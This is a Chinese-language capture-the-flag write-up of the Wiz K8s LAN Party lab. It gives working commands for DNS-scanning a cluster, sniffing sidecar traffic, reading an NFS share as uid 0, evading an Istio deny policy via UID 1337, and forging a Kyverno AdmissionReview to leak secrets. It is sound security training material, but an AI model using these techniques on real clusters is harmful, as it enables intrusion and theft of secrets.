k8slanparty

网站地址

challenge1

题目描述

1
2
3
4
5
6
7
8
DNSing with the stars
You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further.

As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have "loaded your machine with dnscan to ease this process for further challenges.

All the flags in the challenge follow the same format: wiz_k8s_lan_party{*}

Challenge value: 10 pts.
1
2
3
4
5
使用星星进行DNS
您可以通过shell访问此页面底部受损的Kubernetes pod,您的下一个目标是进一步损害其他内部服务。
作为热身,利用DNS扫描来发现隐藏的内部服务并获取标记。我们“为您的机器加载了dnscan,以简化这一过程,应对进一步的挑战。
挑战中的所有标志都遵循相同的格式:wiz_k8s_lan_party{*}
挑战值:10分。

image-20241221154810476

解题过程

查看/etc/resolv.conf配置

1
2
3
4
5
player@wiz-k8s-lan-party:~$ cat /etc/resolv.conf 
search k8s-lan-party.svc.cluster.local svc.cluster.local cluster.local us-west-1.compute.internal
nameserver 10.100.120.34
options ndots:5
player@wiz-k8s-lan-party:~$
  1. search 域名后缀列表,其中包含了 k8s-lan-party.svc.cluster.localsvc.cluster.localcluster.local 等 Kubernetes 默认的域名后缀。这意味着,所有未完全限定的域名查询会自动尝试追加这些后缀。
  2. nameserver 10.100.120.34表示 DNS 服务器的 IP 地址为10.100.120.34。所有 DNS 查询会通过这个 DNS 服务器进行解析。
  3. ndots:5 表示,若查询的域名中至少包含 5 个点(.),则会尝试直接进行查询,而不会追加 search` 域名后缀。

通过内置的dnscan扫描

1
2
3
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
35017 / 65536 [----------------------------------------------------------------------------------------------->___________________________________________________________________________________] 53.43% 963 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
65434 / 65536 [---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->] 99.84% 961 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.

配置对应图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
+----------------------------------------------------------+
| Kubernetes Cluster |
| -------------------------------------------------------- |
| |
| +-------------------+ +------------------+ |
| | Service: | | Pod: | |
| | getflag-service | | getflag-service | |
| | k8s-lan-party.svc |<-----> | pod-abc-xyz | |
| | cluster.local | | 10.100.136.10 | |
| | Cluster IP |<-------->| | |
| | 10.100.136.254 | +------------------+ |
| +-------------------+ |
| | |
| | |
| +--------------------+ +---------------------+ |
| | DNS Resolver |<--------| DNS Server: | |
| | 10.100.120.34 | | 10.100.120.34 | |
| | (kube-dns) | | | |
| +--------------------+ +---------------------+ |
| | |
| | |
| +------------------------+ +---------------------+ |
| | Service Discovery (DNS) |<---->| k8s API Server | |
| | getflag-service.k8s-lan- | | (kube-apiserver) | |
| | party.svc.cluster.local | | IP: 10.100.120.34 | |
| +------------------------+ +---------------------+ |
| | |
| | |
| +------------------------+ +---------------------+ |
| | Pod DNS Config (via DNS)| | Node IP: | |
| | /etc/resolv.conf | | 10.100.120.34 | |
| | 10.100.120.34 |<---->| (Master Node) | |
| +------------------------+ +---------------------+ |
| | |
| | |
| +-----------------------+ |
| | Service IP: | |
| | 10.100.136.254 |<-----------------------------|
| | DNS Name: |
| | getflag-service.k8s- |
| | lan-party.svc.cluster|
| | .local |
| +-----------------------+
|
+----------------------------------------------------------+

然后直接curl就可以出来flag

1
2
player@wiz-k8s-lan-party:~$ curl 10.100.136.254
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}player@wiz-k8s-lan-party:~$

后语

本章学习知识,dns扫描

https://thegreycorner.com/2023/12/13/kubernetes-internal-service-discovery.html#kubernetes-dns-to-the-partial-rescue

权限进入

这个挑战限制了权限,但是如果是正常的权限进入pod的操作

1
2
3
4
#找到对应的 Pod 名称
kubectl get pods -n k8s-lan-party -l app=getflag-service
#pod
kubectl exec -it getflag-service-pod-xyz -n k8s-lan-party -- /bin/bash

DNS 扫描的作用:通过 DNS 扫描可以在没有直接访问权限的情况下,发现 Kubernetes 集群中的服务和资源。

dnscan工具

https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e

challenge2

题目描述

1
2
Hello?
Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.
1
2
你好?
有时,似乎只有我们在身边,但我们应该时刻警惕那些泄露敏感秘密的隐形旁门左道。

解题过程

1
2
3
4
5
6
7
player@wiz-k8s-lan-party:~$ cat /etc/resolv.conf 
search k8s-lan-party.svc.cluster.local svc.cluster.local cluster.local us-west-1.compute.internal
nameserver 10.100.60.37
options ndots:5
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
43718 / 65536 [----------------------------------------------------------------------------------------------------------------------->___________________________________________________________] 66.71% 962 p/s10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local.
49124 / 65536 [-------------------------------------------------------------------------------------------------------------------------------------->____________________________________________] 74.96% 963 p/s^C

这里通过流量监听操作获取内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
player@wiz-k8s-lan-party:~$ tcpdump -i ns-28fab6 -nn -vvv host 10.100.171.123
tcpdump: listening on ns-28fab6, link-type EN10MB (Ethernet), snapshot length 262144 bytes
08:37:07.572286 IP (tos 0x0, ttl 127, id 4843, offset 0, flags [DF], proto TCP (6), length 60)
192.168.1.243.59400 > 10.100.171.123.80: Flags [S], cksum 0x78a9 (incorrect -> 0x4603), seq 3520262491, win 64240, options [mss 1460,sackOK,TS val 809480906 ecr 0,nop,wscale 7], length 0
08:37:07.572375 IP (tos 0x0, ttl 127, id 0, offset 0, flags [DF], proto TCP (6), length 60)
。。。。
POST / HTTP/1.1
Host: reporting-service
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 63
Content-Type: application/x-www-form-urlencoded

wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
08:37:07.572436 IP (tos 0x0, ttl 127, id 17054, offset 0, flags [DF], proto TCP (6), length 52)
10.100.171.123.80 > 192.168.1.243.59400: Flags [.], cksum 0x78a1 (incorrect -> 0x2e99), seq 1, ack 215, win 508, options [nop,nop,TS val 3186952350 ecr 809480906], length 0
08:37:07.574121 IP (tos 0x0, ttl 127, id 17055, offset 0, flags [DF], proto TCP (6), length 257)
10.100.171.123.80 > 192.168.1.243.59400: Flags [P.], cksum 0x796e (incorrect -> 0xc7fc), seq 1:206, ack 215, win 508, options [nop,nop,TS val 3186952352 ecr 809480906], length 205: HTTP, length: 205
HTTP/1.1 200 OK
server: istio-envoy
date: Sat, 21 Dec 2024 08:37:07 GMT
content-type: text/plain
x-envoy-upstream-service-time: 1
x-envoy-decorator-operation: :0/*
transfer-encoding: chunked

0

08:37:07.574129 IP (tos 0x0, ttl 127, id 4846, offset 0, flags [DF], proto TCP (6), length 52)
192.168.1.243.59400 > 10.100.171.123.80: Flags [.], cksum 0x78a1 (incorrect -> 0x2dcf), seq 215, ack 206, win 501, options [nop,nop,TS val 809480908 ecr 3186952352], length 0
08:37:07.574227 IP (tos 0x0, ttl 127, id 4847, offset 0, flags [DF], proto TCP (6), length 52)
192.168.1.243.59400 > 10.100.171.123.80: Flags [F.], cksum 0x78a1 (incorrect -> 0x2dce), seq 215, ack 206, win 501, options [nop,nop,TS val 809480908 ecr 3186952352], length 0
。。。。
20 packets captured
20 packets received by filter
0 packets dropped by kernel
player@wiz-k8s-lan-party:~$

后语

本章学习知识,Sidecar 容器

https://kubernetes.io/docs/concepts/workloads/pods/sidecar-containers/

Sidecar 模式是 Kubernetes 中的一种常见设计模式,通常是指将一个附加的容器(Sidecar 容器)与主应用容器(Primary 容器)一起部署在同一个 Pod 中。这些 Sidecar 容器通常提供辅助功能,如日志处理、监控、代理、身份验证、配置管理等。

不安全的容器通信

问题:
Sidecar 容器与主应用容器之间的通信可能未加密或未授权。比如,一些容器可能在明文方式下传输敏感数据,或者 Sidecar 容器未经授权地访问主容器的数据。

攻击路径:

  • 如果 Sidecar 容器作为代理容器或日志收集器工作,它可能会与主容器之间进行通信,传输敏感信息。如果该通信没有加密,攻击者可能通过监听容器间的流量来窃取信息。

操作:

  1. 监听容器间通信:
    如果容器使用了共享的网络命名空间,可以尝试监听容器间的通信流量。攻击者可以使用 tcpdump 或类似的工具来捕获未加密的流量。

    1
    tcpdump -i eth0 -nn -vvv

    这将捕获所有网络接口的流量,可以识别出主应用和 Sidecar 容器之间的通信。

  2. 分析流量:
    如果捕获的数据包是未加密的,攻击者可以通过分析流量来获取敏感信息,例如身份验证令牌、日志内容等。

  3. 注入恶意数据:
    如果攻击者能通过某些方式拦截并修改容器间的通信流量,就可能执行中间人攻击(MITM),篡改应用数据或执行权限提升。

challenge3

题目描述

1
2
Exposed File Share
The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.
1
2
暴露的文件共享
目标大公司在生产中使用过时但受云支持的技术进行数据存储。但是,天哪,这项技术是在访问控制仅基于网络的时代引入的🤦‍️。

解题过程

这里题目打不开了,看参考链接师傅的wp可以看到是网络文件共享问题

1
2
3
4
5
6
7
8
9
mount可以直接看到文件,但是由于权限问题直接获取不了,就用了nfsv4去获取
#mount
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.23.121,local_lock=none,addr=192.168.124.98)
#nfsv4直接获取不到
player@wiz-k8s-lan-party:~$ nfs-ls nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com/?version=4

---------- 1 1 1 73 flag.txt
#
player@wiz-k8s-lan-party:~$ nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0"

等环境好了再去复现吧

challenge4

题目描述

1
2
The Beauty and The Ist
Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don't abuse this power; use it responsibly and with caution.
1
2
美丽与第一
显然,新的服务网格技术对超级精英用户(根用户)具有独特的吸引力。不要滥用这种权力;负责任地谨慎使用它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]

解题过程

1
2
3
4
5
6
7
root@wiz-k8s-lan-party:~# cat /etc/resolv.conf 
search k8s-lan-party.svc.cluster.local svc.cluster.local cluster.local us-west-1.compute.internal
nameserver 10.100.166.132
options ndots:5

root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.*.*
57333 / 65536 [------------------------------------------------------------------------------------------------------------------------------------------------------------>______________________] 87.48% 932 p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.

Istio 的 Sidecar 代理(通常是 Envoy)通过 iptables 规则拦截和管理 Pod 的网络流量,以实现服务网格的功能。然而,某些配置可能被利用来绕过这些流量管理机制。以下是常见的绕过方法及其实现原理:

  1. UDP 协议绕过:Istio 默认仅处理 TCP 流量,而不拦截 UDP 数据包。因此,使用 UDP 协议的通信不会经过 Envoy 代理,从而绕过 Istio 的流量管理和安全控制。
  2. 使用 UID 1337 的用户:Istio 的 Sidecar 代理通常以 UID 1337 运行,并在 iptables 中设置规则,避免拦截该 UID 的流量。如果 Pod 中的主容器也以 UID 1337 运行,其流量将被视为代理自身的流量,从而避开流量重定向,直接与外部通信。
    ISTIO
  3. CAP_SETUID 权限的利用:如果容器具有 CAP_SETUID 权限(默认授予),进程可以将其 UID 更改为 1337。通过将进程的 UID 设置为 1337,流量同样可以绕过 Istio 的流量拦截机制。
  4. CAP_NET_ADMIN 权限的利用:拥有 CAP_NET_ADMIN 权限的容器可以修改自身的网络设置,包括 iptables 规则。攻击者可以利用此权限更改或清除 Istio 设置的 iptables 规则,从而绕过 Envoy 代理的流量管理。

这里是用不了kubectl,所以用其他方法绕过

1
2
3
id
getent passwd
#istio:x:1337:1337::/home/istio:/bin/sh

image-20241224163316073

1
2
3
4
5
root@wiz-k8s-lan-party:~# su istio
$ id
uid=1337(istio) gid=1337(istio) groups=1337(istio)
$ curl 10.100.224.159
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}$

后语

https://istio.io/v1.11/blog/2021/ncc-security-assessment/NCC_Group_Google_GOIST2005_Report_2020-08-06_v1.1.pdf

这里有bypass的内容

image-20241224162013806

具体方式

image-20241224162049052

https://github.com/istio/istio/wiki/Understanding-IPTables-snapshot#use-pid-to-get-iptables

challenge5

题目描述

1
2
Who will guard the guardians?
Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.
1
2
谁来守护守护者?
当pods被外国政权改变时,有人可能会滥用其官僚机构并泄露行政部门的敏感信息。

题目辅助链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"

策略为每个容器注入一个名为 FLAG 的环境变量。

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
22052 / 65536 [------------------------------------------------------------>______________________________________________________________________________________________________________________] 33.65% 967 p/s10.100.86.210 kyverno-cleanup-controller.kyverno.svc.cluster.local.
32137 / 65536 [--------------------------------------------------------------------------------------->___________________________________________________________________________________________] 49.04% 969 p/s10.100.126.98 kyverno-svc-metrics.kyverno.svc.cluster.local.
40480 / 65536 [-------------------------------------------------------------------------------------------------------------->____________________________________________________________________] 61.77% 970 p/s10.100.158.213 kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
43767 / 65536 [----------------------------------------------------------------------------------------------------------------------->___________________________________________________________] 66.78% 969 p/s10.100.171.174 kyverno-background-controller-metrics.kyverno.svc.cluster.local.
55738 / 65536 [-------------------------------------------------------------------------------------------------------------------------------------------------------->__________________________] 85.05% 966 p/s10.100.217.223 kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
59217 / 65536 [----------------------------------------------------------------------------------------------------------------------------------------------------------------->_________________] 90.36% 966 p/s10.100.232.19 kyverno-svc.kyverno.svc.cluster.local.
65430 / 65536 [---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->] 99.84% 969 p/s10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
65536 / 65536 [----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% 971 p/s
IP 地址 服务名称 作用
10.100.86.210 kyverno-cleanup-controller 负责清理与策略相关的多余资源,可能与策略无直接关系。
10.100.126.98 kyverno-svc-metrics Kyverno 的 Prometheus 指标暴露服务,提供监控数据。
10.100.158.213 kyverno-reports-controller-metrics Kyverno 报告生成和控制器的指标接口,提供报表相关数据。
10.100.171.174 kyverno-background-controller-metrics 背景任务控制器指标接口,可能不直接涉及策略注入功能。
10.100.217.223 kyverno-cleanup-controller-metrics 清理任务控制器的指标接口,可能不直接涉及策略注入功能。
10.100.232.19 kyverno-svc Kyverno 的核心服务,负责解析和执行策略(Mutate 等功能)

这里需要利用 Kubernetes 的 Mutating Admission Webhook 的机制,通过伪造一个创建 Pod 的请求触发 Kyverno 的策略修改(如注入环境变量),并最终获取注入的敏感数据(FLAG)。

Mutating Admission Webhook

  • Kubernetes 的 Admission Webhook 可以在资源被创建或更新时拦截请求并执行修改操作。
  • 在本题中,Kyverno 的 Mutating Webhook 会为新建的 Pod 自动注入环境变量 FLAG

伪造 AdmissionReview 请求

  • Kyverno 通过 /mutate 路径监听 Admission Webhook 的请求。
  • 如果我们构造一个合法的 AdmissionReview 请求(如模拟创建一个 Pod 的操作),Kyverno 会自动注入其策略中定义的内容(如 FLAG),并返回修改的内容。

获取 Webhook 返回的数据

  • Webhook 返回的数据中包含一个 patch 字段,表示修改的具体内容(即注入的环境变量值)。
  • 我们可以通过解码 patch 字段的内容提取 FLAG
1
2
3
4
player@wiz-k8s-lan-party:~$ curl -k -X POST https://kyverno-svc.kyverno.svc.cluster.local./mutate -H "Content-Type: application/json" --data '{"apiVersion":"admission.k8s.io/v1","kind":"AdmissionReview","request":{"uid":"705ab4f5-6393-11e8-b7cc-42010a800002","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"example-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"admin","uid":"014fbff9a07c","groups":["system:authenticated"]},"object":{"apiVersion":"v1","kind":"Pod","metadata":{"name":"example-pod","namespace":"sensitive-ns"},"spec":{"containers":[{"name":"example-container","image":"nginx","env":[{"name":"FLAG","value":"{flag}"}]}]}},"oldObject":null,"options":{"apiVersion":"meta.k8s.io/v1","kind":"CreateOptions"},"dryRun":true}}'


{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"705ab4f5-6393-11e8-b7cc-42010a800002","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"example-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"admin","uid":"014fbff9a07c","groups":["system:authenticated"]},"object":{"apiVersion":"v1","kind":"Pod","metadata":{"name":"example-pod","namespace":"sensitive-ns"},"spec":{"containers":[{"name":"example-container","image":"nginx","env":[{"name":"FLAG","value":"{flag}"}]}]}},"oldObject":null,"dryRun":true,"options":{"apiVersion":"meta.k8s.io/v1","kind":"CreateOptions"}},"response":{"uid":"705ab4f5-6393-11e8-b7cc-42010a800002","allowed":true,"patch":"W3sib3AiOiJyZXBsYWNlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9lbnYvMC92YWx1ZSIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9LCB7InBhdGgiOiIvbWV0YWRhdGEvYW5ub3RhdGlvbnMiLCJvcCI6ImFkZCIsInZhbHVlIjp7InBvbGljaWVzLmt5dmVybm8uaW8vbGFzdC1hcHBsaWVkLXBhdGNoZXMiOiJpbmplY3QtZW52LXZhcnMuYXBwbHktZmxhZy10by1lbnYua3l2ZXJuby5pbzogcmVwbGFjZWQgL3NwZWMvY29udGFpbmVycy8wL2Vudi8wL3ZhbHVlXG4ifX1d","patchType":"JSONPatch"}}
1
2
3
W3sib3AiOiJyZXBsYWNlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9lbnYvMC92YWx1ZSIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9LCB7InBhdGgiOiIvbWV0YWRhdGEvYW5ub3RhdGlvbnMiLCJvcCI6ImFkZCIsInZhbHVlIjp7InBvbGljaWVzLmt5dmVybm8uaW8vbGFzdC1hcHBsaWVkLXBhdGNoZXMiOiJpbmplY3QtZW52LXZhcnMuYXBwbHktZmxhZy10by1lbnYua3l2ZXJuby5pbzogcmVwbGFjZWQgL3NwZWMvY29udGFpbmVycy8wL2Vudi8wL3ZhbHVlXG4ifX1d
#base64解码
[{"op":"replace","path":"/spec/containers/0/env/0/value","value":"wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"}, {"path":"/metadata/annotations","op":"add","value":{"policies.kyverno.io/last-applied-patches":"inject-env-vars.apply-flag-to-env.kyverno.io: replaced /spec/containers/0/env/0/value\n"}}]

后语

flag问题

这个漏洞的核心是 Kyverno 的策略定义了 自动注入环境变量 FLAG 的规则。每当一个新的 Pod 被创建时,Kyverno 会自动根据策略修改 Pod 的配置,并注入指定的环境变量。

漏洞问题

这里核心问题就是 不安全配置Admission Webhook 的滥用 导致的漏洞,而不是 Kubernetes 系统本身的问题。

url问题

**这个一定是 https://kyverno-svc.kyverno.svc.cluster.local/mutate **这个路径,因为是基于 Kyverno 的 Mutating Admission Webhook,所以必须要发送请求到它的 /mutate 路径。原因如下:

  1. 为什么是 /mutate 路径?
    • kyverno-svc 是 Kyverno 的核心服务,用于处理 Admission Webhook 请求。
    • 路径 /mutate 是专门用来处理资源(如 Pod)创建或修改请求的入口。它会按照定义的策略修改请求的对象(例如自动注入环境变量)。
  2. 其他路径的作用
    • /policymutate 是用来修改策略的,通常和策略本身有关,而不是用于修改资源(如 Pod)。
    • /metrics 等路径主要是暴露监控信息,和实际的 Admission Webhook 请求无关。

所以,这个思路必须发送到 /mutate,这是漏洞利用的核心。

data 数据

data 数据 不能完全随便写,需要符合一定的格式要求,特别是 Kubernetes Admission Webhook 的 AdmissionReview 格式。具体细节如下:

哪些字段是必须的?

  1. 基本结构 AdmissionReview 是一个标准的 Kubernetes API 结构,必须包含以下字段:
    • apiVersion: 必须是 "admission.k8s.io/v1"
    • kind: 必须是 "AdmissionReview"
    • request: 请求内容,具体描述你要操作的资源。
  2. 关键字段
    • **uid**:这个字段是随机生成的唯一 ID,用于追踪请求。你可以随意设置一个 UUID,但不能省略。
    • **kindresource**:必须明确你操作的资源类型。例如,kind: Pod 表示你在操作 Pod。
    • **operation**:操作类型,通常是 CREATE,表示创建一个新资源。
    • **namespace**:必须指定目标命名空间,例如 sensitive-ns
    • **object**:具体描述要创建的资源(如 Pod),这部分内容需要包含资源的详细配置。
  3. 哪些字段可以修改?
    • userInfo 中的字段(如 username, uid)可以随意修改,因为 Kyverno 通常不会严格验证这些字段。但为了模拟合法用户,建议保留类似的格式。
  4. 哪些字段不能省略?
    • 必须包含 object,描述具体的资源对象(如 Pod)。
    • 必须包含 dryRun: true,否则请求可能会被实际执行,导致不可预测的结果。

参考链接

https://tari.moe/2024/k8slanparty.html#9367d23efb7e4568bcbd0e1fd86da080